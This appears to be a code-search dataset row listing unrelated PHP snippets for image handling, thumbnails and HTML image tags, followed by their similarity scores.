'TEN7lzhc24qx14wqVMYjWSlUbP1mLbM6nOLVd5toM3jPPCqFHF1+2qTb8hkT4vF4RPfAMB9fGoB4Ddp'\n . 'YK2erT9F/w0LmslQ2b1479zftfWDSiRt2ukV7r93/3eZy8kW3E5ukYmmyAuvlVi6d+2zWVTGH8Zh0Aj'\n . '0ejxgddWM232LQ7v0vY9hqxzJ4i1tD3muG3ILl/hP1HObwrcN/AF5zmzGLB8I2AAAAAElFTkSuQmCC';\n\n return $logo;\n }",
"function getThumbnail()\n\t{\n\t\t$id= FormUtil :: getPassedValue('id', isset ($args['id']) ? $args['id'] : null, 'GET');\n\t\t$width= FormUtil :: getPassedValue('width', isset ($args['width']) ? $args['width'] : null, 'GET');\n\t\tif (!SecurityUtil :: checkPermission('crpLicense::License', '::', ACCESS_READ))\n\t\t\tpnShutDown();\n\n\t\t$file= $this->dao->getFile($id, 'image', true);\n\t\t$modifiedDate= $this->dao->getLicenseDate($id, 'lu_date');\n\n\t\tif (!(is_numeric($width) && $width > 0))\n\t\t\t$width= pnModGetVar('crpLicense', 'image_width');\n\t\t$params['width']= $width; //\t$params['append_ghosted']=1;\n\t\t$params['modifiedDate']= $modifiedDate;\n\n\t\tcrpLicense :: imageGetThumbnail($file['binary_data'], $file['name'], $file['content_type'], $params);\n\t}",
"function getPicture(){\r\n return $this->picture;\r\n }",
"public function get_picture(){ return $this->_picture;}",
"public function __toString()\n {\n return $this->width . 'x' . $this->height;\n }",
"public function getSliderImageNameAttribute(){\n $photo_src=explode('.',$this->attributes['name']);\n if(count($photo_src)>1)\n {\n $photo_details = pathinfo($this->attributes['name']); \n $name = @$photo_details['filename'].'_1440x960.'.@$photo_details['extension'];\n return url('/').'/images/multiple_rooms/'.$this->attributes['multiple_room_id'].'/'.$name;\n }\n else\n {\n $options['secure']=TRUE;\n $options['width']=1440;\n $options['height']=960;\n $options['crop']='fill';\n return $src=\\Cloudder::show($this->attributes['name'],$options);\n }\n }",
"public function render(): string\n {\n $src = (string)$this->arguments['src'];\n if (($src === '' && $this->arguments['image'] === null) || ($src !== '' && $this->arguments['image'] !== null)) {\n throw new Exception('You must either specify a string src or a File object.', 1382284106);\n }\n\n if ((string)$this->arguments['fileExtension'] && !GeneralUtility::inList($GLOBALS['TYPO3_CONF_VARS']['GFX']['imagefile_ext'], (string)$this->arguments['fileExtension'])) {\n throw new Exception(\n 'The extension ' . $this->arguments['fileExtension'] . ' is not specified in $GLOBALS[\\'TYPO3_CONF_VARS\\'][\\'GFX\\'][\\'imagefile_ext\\']'\n . ' as a valid image file extension and can not be processed.',\n 1618989190\n );\n }\n\n try {\n $image = $this->imageService->getImage($src, $this->arguments['image'], (bool)$this->arguments['treatIdAsReference']);\n $cropString = $this->arguments['crop'];\n if ($cropString === null && $image->hasProperty('crop') && $image->getProperty('crop')) {\n $cropString = $image->getProperty('crop');\n }\n $cropVariantCollection = CropVariantCollection::create((string)$cropString);\n $cropVariant = $this->arguments['cropVariant'] ?: 'default';\n $cropArea = $cropVariantCollection->getCropArea($cropVariant);\n $processingInstructions = [\n 'width' => $this->arguments['width'],\n 'height' => $this->arguments['height'],\n 'minWidth' => $this->arguments['minWidth'],\n 'minHeight' => $this->arguments['minHeight'],\n 'maxWidth' => $this->arguments['maxWidth'],\n 'maxHeight' => $this->arguments['maxHeight'],\n 'crop' => $cropArea->isEmpty() ? null : $cropArea->makeAbsoluteBasedOnFile($image),\n ];\n if (!empty($this->arguments['fileExtension'] ?? '')) {\n $processingInstructions['fileExtension'] = $this->arguments['fileExtension'];\n }\n $processedImage = $this->imageService->applyProcessingInstructions($image, $processingInstructions);\n $imageUri = $this->imageService->getImageUri($processedImage, $this->arguments['absolute']);\n\n if (!$this->tag->hasAttribute('data-focus-area')) {\n $focusArea = $cropVariantCollection->getFocusArea($cropVariant);\n if (!$focusArea->isEmpty()) {\n $this->tag->addAttribute('data-focus-area', $focusArea->makeAbsoluteBasedOnFile($image));\n }\n }\n $this->tag->addAttribute('data-lazy', $imageUri);\n // $this->tag->addAttribute('src', $imageUri);\n $this->tag->addAttribute('width', $processedImage->getProperty('width'));\n $this->tag->addAttribute('height', $processedImage->getProperty('height'));\n\n // The alt-attribute is mandatory to have valid html-code, therefore add it even if it is empty\n if (empty($this->arguments['alt'])) {\n $this->tag->addAttribute('alt', $image->hasProperty('alternative') ? $image->getProperty('alternative') : '');\n }\n // Add title-attribute from property if not already set and the property is not an empty string\n $title = (string)($image->hasProperty('title') ? $image->getProperty('title') : '');\n if (empty($this->arguments['title']) && $title !== '') {\n $this->tag->addAttribute('title', $title);\n }\n } catch (ResourceDoesNotExistException $e) {\n // thrown if file does not exist\n throw new Exception($e->getMessage(), 1509741911, $e);\n } catch (\\UnexpectedValueException $e) {\n // thrown if a file has been replaced with a folder\n throw new Exception($e->getMessage(), 1509741912, $e);\n } catch (\\RuntimeException $e) {\n // RuntimeException thrown if a file is outside of a storage\n throw new Exception($e->getMessage(), 1509741913, $e);\n } catch (\\InvalidArgumentException $e) {\n // thrown if file storage does not exist\n throw new Exception($e->getMessage(), 1509741914, $e);\n }\n\n return $this->tag->render();\n }",
"function getName() \t\t { return 'NP_ImageCreateThumbnail'; }",
"function createThumb($file)\n{\n $fileParts\t=\tpathinfo($file);\n $fileName\t=\t$fileParts['filename'];\n $ext\t\t=\t$fileParts['extension'];\n $imagePath = ROOT . \"/\" . IMGPATH . $file;\n\n // thumb naam\n $bestandsnaam = $fileName . \"_thumbs\";\n\n // Bepaal de dimensies van de verkleining\n $thumbDimensions['w']\t=\t50;\n $thumbDimensions['h']\t=\t50;\n\n // Haal de breedte en de hoogte op uit het originele bestand\n list($width, $height)\t=\tgetimagesize($imagePath); // kent automatisch de value uit getimagesize (retunt array(width, height)) toe aan de variabele in de list in de overeenstemmende volgorde\n\n // get Dimension type\n if($width == $height)\n {\n $dimension = 'square';\n }elseif($width>$height)\n {\n $dimension = 'landscape';\n }else {\n $dimension = 'portrait';\n }\n // Controleer om welke extensie het gaat en voer de overeenstemmende methode uit\n switch ($ext)\n {\n case ('jpg'):\n case ('jpeg'):\n $source \t= \timagecreatefromjpeg($imagePath);\n break;\n\n case ('png'):\n $source \t=\timagecreatefrompng($imagePath);\n break;\n\n case ('gif'):\n $source \t=\timagecreatefromgif($imagePath);\n break;\n }\n\n //CROP based on dimension type\n switch($dimension)\n {\n case 'landscape':\n $cropped = imagecrop($source, ['x' => (($width-$height)/2), 'y' => 0, 'width' => $height, 'height' => $height]);\n\n $width = $height;\n break;\n\n case 'portrait':\n $cropped = imagecrop($source, ['x' => 0, 'y' => (($height-$width)/2), 'width' => $width, 'height' => $width]);\n\n $height = $width;\n break;\n\n default: $cropped = $source;\n }\n // Creëer een leeg canvas met de dimensies van de nieuwe afbeelding\n $thumb \t=\timagecreatetruecolor($thumbDimensions['w'], $thumbDimensions['h']);\n\n // Resize het origineel naar de gewenste dimensies en plaats het de verkleinde versie in het nieuwe canvas.\n // nieuwe canvas = destination, oude canvas = source, destination x, destination y, source x, source y, destination width, destination height, source width, source height\n imagecopyresized($thumb, $cropped, 0,0,0,0, $thumbDimensions['w'],$thumbDimensions['h'], $width, $height);\n\n // Slaag het nieuwe canvas op (canvas, (folder).fileName, kwaliteit)\n $resized \t= \timagejpeg($thumb, (ROOT . \"/\" . IMGPATH. \"thumbs/\" . $bestandsnaam . \".\" . $ext), 100);\n\n return $resized;\n}",
"public function GetKroppen() {\r\n\r\n $html = <<<EOD\r\n <!-- HÄR KOMMER KROPPEN -->\r\n <g id=\"kroppen\">\r\n <ellipse fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" cx=\"200.839\" cy=\"97.527\" rx=\"15.149\" ry=\"24.238\"/>\r\n </g>\r\nEOD;\r\n return $html;\r\n }",
"function LayoutGetImage($params=null) // must return string\n{\n global $DB, $sdurl, $userinfo, $plugin_names, $plugin_folder_to_id_arr;\n\n // Below are several security checks to assure, that the passed on plugin-id\n // is valid, the plugin and it's image path exist etc.\n if( !isset($params) || !is_array($params) || (count($params) < 1) ||\n (count($params) > 2) || empty($userinfo['pluginviewids']) )\n {\n return '';\n }\n $image_id = Is_Valid_Number($params[0], 0, 1);\n $plugin_id = 17; //default!\n $w = $h = 0;\n if(isset($params[1]))\n {\n if($p_arr = @preg_split('#,#',$params[1],0,PREG_SPLIT_NO_EMPTY))\n {\n $plugin_id = Is_Valid_Number($p_arr[0], 17, 1);\n $p_arr = array_slice($p_arr,1);\n foreach($p_arr as $p)\n {\n if($p2_arr = @preg_split('#=#',$p,0,PREG_SPLIT_NO_EMPTY))\n {\n if(($p2_arr[0]=='w') && isset($p2_arr[1])) $w = intval($p2_arr[1]);\n if(($p2_arr[0]=='h') && isset($p2_arr[1])) $h = intval($p2_arr[1]);\n }\n }\n\n }\n }\n\n // Sanity checks:\n if( ($image_id < 0) || !$plugin_id || !isset($plugin_names[$plugin_id]) ||\n !in_array($plugin_id, $userinfo['pluginviewids']) )\n {\n return '';\n }\n\n if(empty($image_id))\n {\n $image_id = ' ORDER BY RAND() LIMIT 1';\n }\n else\n {\n $image_id = ' AND i.imageid = '.(int)$image_id;\n }\n $columns = '';\n if($plugin_id >= 5000)\n {\n $columns= ', s.folder, s.access_view';\n }\n\n if(!$folder = array_search($plugin_id, $plugin_folder_to_id_arr)) return '';\n $folder = 'plugins/'.$folder.'/images/';\n if(!is_readable(ROOT_PATH.$folder)) return '';\n\n $sections = empty($userinfo['categoryviewids']) ? '0' : implode(',',$userinfo['categoryviewids']);\n $DB->ignore_error = true;\n $image_arr = $DB->query_first(\"SELECT i.* $columns FROM {p\".$plugin_id.'_images} i'.\n ' INNER JOIN {p'.$plugin_id.'_sections} s ON s.sectionid = i.sectionid'.\n ' WHERE i.activated = 1 AND s.activated = 1 '.\n ' AND s.sectionid IN (%s) %s',\n $sections, $image_id);\n $DB->ignore_error = false;\n\n if(!$image_arr || empty($image_arr['imageid']))\n {\n return 'Image not available!';\n }\n $imagetitle = htmlspecialchars($image_arr['title'], ENT_COMPAT);\n if(isset($image_arr['folder'])) $folder .= $image_arr['folder']; // Media Gallery subfolder support\n $img_md_exists = file_exists(ROOT_PATH.$folder . 'md_' . $image_arr['filename']);\n $image_path = $folder . ($img_md_exists ? 'md_' : '') . $image_arr['filename'];\n if(!$w || !$h)\n {\n list($w, $h, $type, $attr) = @getimagesize(ROOT_PATH.$image_path);\n }\n\n return '<img title=\"' . $imagetitle . '\" alt=\"image\" src=\"' .\n $sdurl. $image_path . '\" width=\"' . $w . '\" height=\"' . $h . '\" />';\n\n}",
"function make_vImage($element){\n\t\t$dir=base_url().$element->getFile();\n\t\tif(substr($element->getFile(),0,7)=='http://'){\n\t\t\t$dir=$element->getFile();\n\t\t\t$width=$element->getWidth();\n\t\t\t$height=$element->getHeight();\n\t\t}\n\t\t// Si están definidos ancho y alto, usamos esos\n\t\telse if($element->getWidth() or $element->getHeight()){\n\t\t\t$width=$element->getWidth();\n\t\t\t$height=$element->getHeight();\n\t\t}\n\t\t// Si no, miramos el tamaño de la imagen\n\t\telse list($width,$height)=getimagesize($element->getFile());\n\t\t\n\t\treturn '<img'.$this->setStyle($element).($width?' width=\"'.$width.'\"':'').($height?' height=\"'.$height.'\"':'').' alt=\"'.$element->getAltText().'\" src=\"'.\n\t\t\t$dir.'\" />\n\t\t';\n\t}",
"function cpl_wra() {\n\t//You May NOT Edit It!\n\techo \"<img src='http://www.auburnflame.com/brk1.gif'>\";\n}",
"function createImage($string){\n\t\t//pr($string);die('okszzz');\n\t\t$data\t= base64_decode($string);\n\t\t//echo ($data);die('oksss');\n\t\t\n\t\t$db_img = imagecreatefromstring($data); \n\t\t//.pr($db_img);die;\n\t\t$type = \"jpg\";\n\t\t$name\t= '';\n\t\tif ($db_img !== false) {\n\t\t\tswitch ($type) {\n\t\t\tcase \"jpg\":\n\t\t\t$rand \t= rand(0000, 9999);\n\t\t\t$name\t= $rand.\"user.jpg\";\n\t\t\t\n\t\t\timagejpeg($db_img,$name, '100');\n\t\t\t$img = imagejpeg($db_img,$name, '100');\n\t\t\tbreak;\n\t\t\t\n\t\t}\n\t\t\n\n\t\t}\n\t\treturn $name;\n\t\n\t\n\t}",
"function imagecustom($im, $text) {\n}",
"public function rutaImageFly()\n {\n\n // primero vemos a que galeria pertenece\n $galeria = ORM::factory( 'Galeria', $this->galeria );\n\n return( $galeria->rutaImageFly().$this->imagen );\n\n }",
"function getImage($var, $type){\n\t\t// $data = getRealm();\n\t\tif($type == \"champion\"){\n\t\t\t$data2 = code2key($var,\"champions\");\n\t\t\treturn \"<img src='/data/4.12.2/img/\" . $type . \"/\" . $data2 . \".png' width = 50 height = 50>\";\n\t\t}else if($type == \"spell\"){\n\t\t\t$data2 = code2key($var,\"spells\");\n\t\t\treturn \"<img src='/data/4.12.2/img/\" . $type . \"/\" . $data2 . \".png' width = 50 height = 50>\";\n\t\t}\n\t\telse{\n\t\t\treturn \"<img src='/data/4.12.2/img/\" . $type . \"/\" . $var . \".png' width = 50 height = 50>\";\n\t\t}\n\t}",
"public static function thumbnail(){\n\n}",
"function getCover () {\n\n}",
"function img($image,$layout='')\n{\n return $image;\n}",
"public function get_full_name(){\n\t\treturn \"{$this->id}_full.png\";\n\t}",
"function createImg()\n {\n // imagem de origem\n if ($this->ext == \"png\")\n $img_origem= imagecreatefrompng($this->origem);\n\t\telseif ($this->ext == \"gif\")\n $img_origem= imagecreatefromgif($this->origem);\n elseif ($this->ext == \"jpg\" || $this->ext == \"jpeg\")\n $img_origem= imagecreatefromjpeg($this->origem);\n\t\t\telseif ($this->ext == \"jpg\" || $this->ext == \"jpeg\")\n $img_origem= imagecreatefromwbmp($this->origem);\n return $img_origem;\n }",
"public function Photo(){\n\t\t$photoId = \"491634914183411\";\n\t\t$imgInfo \t\t\t= 'https://graph.facebook.com/'.$photoId.'?access_token='.$this->session->userdata('oauth_token');\n\t\techo $imgInfo;\n\t}",
"function miseenformeIMG($img_loc,$width,$height,$text){\n\t// Si format paysage \n\tif ($width > $height){\n\t\t// Si $width > 400 juste l'image pas de texte\n\t\tif ($width > 400){\n\t\t\t$lestyleimg = ' style=\"float:left;max-width:100%;max-height: auto;padding-right:1em;\" ';\n\t\t\t$valretour = \"<img src=\\\"\".$img_loc.\"\\\"\".$lestyleimg.\"/>\";\n\t\t// L'image est petite nous plaçon l'image et le texte\n\t\t} else {\n\t\t\t$lestyleimg = ' style=\"float:left;max-width:200px;max-height: 240px;padding-right:1em;\" ';\n\t\t\t//$valretour = \"<img src=\\\"\".$img_loc.\"\\\"\".$lestyleimg.\"/>\".FunctionsMag::txtCHAP($text);\n\t\t\t$valretour = \"<img src=\\\"\".$img_loc.\"\\\"\".$lestyleimg.\"/>\".stripTAG(TruncateHTML::truncateChars($text, '200', '...'));\n\t\t}\n\t// Nous sommes en format portrait nous plaçons l'image et le texte\t\n\t} else {\n\t\t$lestyleimg = ' style=\"float:left;max-width:auto;max-height: 240px;padding-right:1em;\" ';\n\t\t//$valretour = \"<img src=\\\"\".$img_loc.\"\\\"\".$lestyleimg.\"/>\".FunctionsMag::txtCHAP($text);\n\t\t$valretour = \"<img src=\\\"\".$img_loc.\"\\\"\".$lestyleimg.\"/>\".stripTAG(TruncateHTML::truncateChars($text, '200', '...'));\n\t}\n\treturn $valretour;\n}",
"public function assemble() {\n $image_check = $this->_checkImage();\n // Image check is bad so we pass control back to the old OsC image wrapper\n if ( 'abort' == $image_check ) {\n return false;\n }\n // If we have to only we generate a thumb .. this is very resource intensive\n if ( 'no_thumb_required' !== $image_check ) {\n $this->_generateThumbnail();\n }\n return $this->_imageBody();\n }",
"function show_art($file,$width,$height) {\n global $directory, $year,$media_url, $collection;\n $file = preg_replace('-\\.gif$-',\".png\",$file);\n // Scale down figures\n if ($width > 860) { $w = $width; $width = 860; $height *= 860/$w; }\n print \"<div><img src='$media_url/$collection/\" . strtolower(\"$directory/$file\") . \"'\"\n . ($width > 0 ? \" width='$width'\" : \"\")\n . ($height > 0 ? \" height='$height'\" : \"\")\n . \" /></div>\\n\";\n}",
"function ShowImageByPath($img_with_path = NULL, $size = NULL, $quality = NULL, $wtm = NULL, $parameters = NULL, $return_src = false)\n {\n $imgSmall = ImageK::getResizedImg($img_with_path, $size, $quality, $wtm);\n if(empty($imgSmall)){\n return false;\n }\n if($return_src){\n return $imgSmall;\n }else{\n return '<img src=\"'.$imgSmall.'\" '.$parameters.' />';\n }\n }",
"function display_image($picture) {\n return \"uploads\" . DS . $picture;\n}",
"public function cd_image()\n\t{\n\t\tif (preg_match('/^\\[www\\..+?\\]-\\[(.+?)\\]-\\[\\d+\\/\\d+\\] \".+?\" - \\d+[,.]\\d+ [mMkKgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Slender.The.Arrival-WaLMaRT.PC - [01/26] - \"wmt-stal.nfo\" - yEnc\n\t\t//The.Night.of.the.Rabbit-FLT - [03/66] - \"flt-notr.r00\" - FAiRLIGHT - 5,10 GB - yEnc\n\t\t//Resident.Evil.Revelations-FLT - PC GAME - [03/97] - \"Resident.Evil.Revelations-FLT.r00\" - FAiRLIGHT - yEnc\n\t\t//Afterfall.Insanity.Dirty.Arena.Edition-WaLMaRT - [MULTI6][PCDVD] - [02/45] - \"wmt-adae.r00\" - PC GAME - yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9.-]{10,}) -( PC GAME -| [A-Z0-9\\[\\]]+ -)? \\[\\d+\\/\\d+\\] - \".+?\" - (.+? - (\\d+[,.]\\d+ [mMkKgG][bB] - )?)?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[01/46] - Crashtime 5 Undercover RELOADED - \"rld-ct5u.nfo\" - PC - yEnc\n\t\t//[01/76] - Of.Orcs.And.Men-SKIDROW - \"sr-oforcsandmen.nfo\" - yEnc\n\t\t//PC Game - [01/71] - MotoGP 13-RELOADED Including NoDVD Fix - \"MotoGP 13-RELOADED Including NoDVD Fix nfo\" - yEnc\n\t\tif (preg_match('/^(PC Game - )?\\[\\d+\\/\\d+\\] - (.+?) - \".+?\" -( .+? -)? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//Magrunner Dark Pulse FLT (FAiRLIGHT) - [02/70] - \"flt-madp par2\" - PC - yEnc\n\t\t//MotoGP 13 RELOADED - [01/71] - \"rld-motogp13 nfo\" - PC - yEnc\n\t\t//Dracula 4: Shadow of the Dragon FAiRLIGHT - [01/36] - \"flt-drc4 nfo\" - PC - yEnc\n\t\tif (preg_match('/^([A-Za-z0-9][a-zA-Z0-9: ]{8,}(-[a-zA-Z]+)?)( \\(.+?\\)| - [\\[A-Z0-9\\]]+)? - \\[\\d+\\/\\d+\\] - \".+?\" - .+? - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[NEW PC GAME] - Lumber.island-WaLMaRT - \"wmt-lisd.nfo\" - [01/18] - yEnc\n\t\t//Trine.2.Complete.Story-SKIDROW - \"sr-trine2completestory.nfo\" - [01/78] - yEnc\n\t\tif (preg_match('/^(\\[[A-Z ]+\\] - )?([a-zA-Z0-9.-]{10,}) - \".+?\" - \\[\\d+\\/\\d+\\] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //Uploader.Presents-Metal.Gear.Rising.Revengeance-RELOADED(51/65]\"rld-megerire.r48\" yEnc\n\t\tif (preg_match('/^Uploader\\.Presents-(.+)[\\(\\[]\\d+\\/\\d+\\]\".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}",
"function make_kml_item($row)\n{\n\t$output = '';\n\t$url_end = '';\n\tif(strncmp($row['Ref_No'], 'NTGM', 4)==0)\n\t{\n\t\t$url_end = 'nottingham/' . $row['Ref_No'] . '.jpg';\n\t}\n\tif(strncmp($row['Ref_No'], 'DCHQ', 4)==0)\n\t{\n\t\t$url_end = 'derbyshire/' . $row['Ref_No'] . '.jpg';\n\t}\n\t$replace_chars = array('\u0019', '\u0018');\n\t$sanitised_date = str_replace($replace_chars, '\\'', $row['Date_of_Image']);\n\t$sanitised_description = str_replace($replace_chars, '\\'', htmlspecialchars_decode(htmlspecialchars_decode($row['Further_Information'])));\n\tob_start();\n?>\n\t<Placemark>\n\t\t<name><?php echo($row['Title'] . \" (#\" . $row['Ref_No'] . \")\"); ?></name>\n\t\t<description><![CDATA[\n\t\t<div><a href='#' class=\"image-<?php echo($row['Ref_No']); ?>\" style=\"float:right;\" onClick='$(\".image-<?php echo($row['Ref_No']); ?>\").hide(); $(\".text-<?php echo($row[\"Ref_No\"]); ?>\").show();'>\n\t\t<div class='button floatRight'>\n\t\t\t\t<ul class='ui-widget'>\n\t\t\t\t\t<li class='ui-state-default ui-corner-all' title='Show text'>Show text</li>\n\t\t\t\t</ul>\n\t\t\t</div>\n\t\t</a></div>\n\t\t<div><a class=\"text-<?php echo($row['Ref_No']); ?>\" style=\"float:right;display:none;\" href='#' onClick='$(\".image-<?php echo($row['Ref_No']); ?>\").show(); $(\".text-<?php echo($row[\"Ref_No\"]); ?>\").hide();'>\n\t\t\t<div class='button floatRight'>\n\t\t\t\t<ul class='ui-widget'>\n\t\t\t\t\t<li class='ui-state-default ui-corner-all' title='Show text'>Show photo</li>\n\t\t\t\t</ul>\n\t\t\t</div>\n\t\t</a></div>\n\t\t<div style=\"float:left;\">Date of image: <?php echo($sanitised_date); ?></div>\n\t\t<div style=\"clear:both;\">\n\t\t\t<div class=\"image-<?php echo($row['Ref_No']); ?>\">\n\t\t\t\t<img src=\"https://www.hpacde.org.uk/picturethepast/jpgl_<?php echo($url_end) ?>\">\t\n\t\t\t</div>\n\t\t\t<div class=\"text-<?php echo($row['Ref_No']); ?>\" style=\"display:none;clear:both;\">\n\t\t\t\t<?php echo($sanitised_description); ?>\n\t\t\t</div>\n\t\t</div>\n\t\t]]></description>\n\t\t<LookAt>\n\t\t\t<longitude><?php echo(htmlspecialchars($row['MapLat'])) ?></longitude>\n\t\t\t<latitude><?php echo(htmlspecialchars($row['MapLong']))?></latitude>\n\t\t\t<altitude>0</altitude>\n\t\t\t<range>24</range>\n\t\t\t<tilt>0</tilt>\n\t\t\t<heading>0</heading>\n\t\t</LookAt>\n\t\t<styleUrl>#photo_placemark_style</styleUrl>\n\t\t<Point>\n\t\t\t<coordinates><?php echo(htmlspecialchars($row['MapLat']) . ',' . htmlspecialchars($row['MapLong'])) ?></coordinates>\n\t\t</Point>\n\t</Placemark>\n<?php \n\t$output = ob_get_clean();\n\treturn $output;\n}",
"public function image() {\n\t\t$image = new WkImage();\n\n\t\t$command = new Command($image->getImage()->getCommand() . ' --htmldoc');\n\n\t\tif ($command->execute()) {\n\t\t\techo $command->getOutput();\n\t\t} else {\n\t\t\techo $command->getError();\n\t\t}\n\t}",
"function ShowImage($spr = NULL, $lang_id = NULL, $img = NULL, $size = NULL, $quality = 85, $wtm = NULL, $parameters = NULL, $return_src=null)\n {\n\n $size_auto = NULL;\n $size_width = NULL;\n $size_height = NULL;\n $alt = NULL;\n $title = NULL;\n $str = NULL;\n\n $img_with_path = $this->GetImgPath($img, $spr, $lang_id);\n// echo '<br/>$img_with_path='.$img_with_path;\n $imgSmall = ImageK::getResizedImg($img_with_path, $size, $quality, null);\n //echo '<br/>$imgSmall='.$imgSmall;\n if($return_src){\n return $imgSmall;\n }else{\n return '<img src=\"'.$imgSmall.'\" '.$parameters.' />';\n }\n }",
"protected function getImageName() {\n\n\t\treturn NULL;\n\t}",
"public function getPhoto() : string\r\n\t{\r\n\t\treturn $this->photo;\r\n\t}"
]
| [
"0.6397445",
"0.6186433",
"0.61713153",
"0.6102514",
"0.59983355",
"0.5997902",
"0.5997902",
"0.59951144",
"0.59951144",
"0.59951144",
"0.59951144",
"0.5973273",
"0.59434927",
"0.59408206",
"0.59187055",
"0.59147805",
"0.59139854",
"0.59104633",
"0.5875737",
"0.58375764",
"0.57997566",
"0.57997334",
"0.5793658",
"0.57799256",
"0.57766956",
"0.5750944",
"0.57476705",
"0.5715627",
"0.57120335",
"0.5703676",
"0.5685468",
"0.5664578",
"0.5635584",
"0.5626919",
"0.5626919",
"0.5617347",
"0.56166697",
"0.5610939",
"0.5603089",
"0.56024075",
"0.5590238",
"0.5572327",
"0.55606776",
"0.55555874",
"0.55500704",
"0.5547582",
"0.55458826",
"0.5545627",
"0.5544553",
"0.55420387",
"0.55414575",
"0.553013",
"0.5517965",
"0.551484",
"0.55016494",
"0.54965866",
"0.5494529",
"0.54937327",
"0.5465113",
"0.5461912",
"0.54606366",
"0.5442884",
"0.5442232",
"0.54184127",
"0.5415705",
"0.54093164",
"0.5407394",
"0.5404876",
"0.54037124",
"0.5402837",
"0.5402836",
"0.5390979",
"0.53909284",
"0.53874075",
"0.5386014",
"0.5381723",
"0.5376036",
"0.5367795",
"0.53649265",
"0.5364678",
"0.5363727",
"0.5358992",
"0.5355324",
"0.534526",
"0.53398067",
"0.53369516",
"0.5334966",
"0.53339785",
"0.53323317",
"0.530834",
"0.53079015",
"0.53035384",
"0.5302801",
"0.5301845",
"0.53014463",
"0.5295545",
"0.52943903",
"0.52929187",
"0.5284412",
"0.52837306",
"0.52740806"
]
| 0.0 | -1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.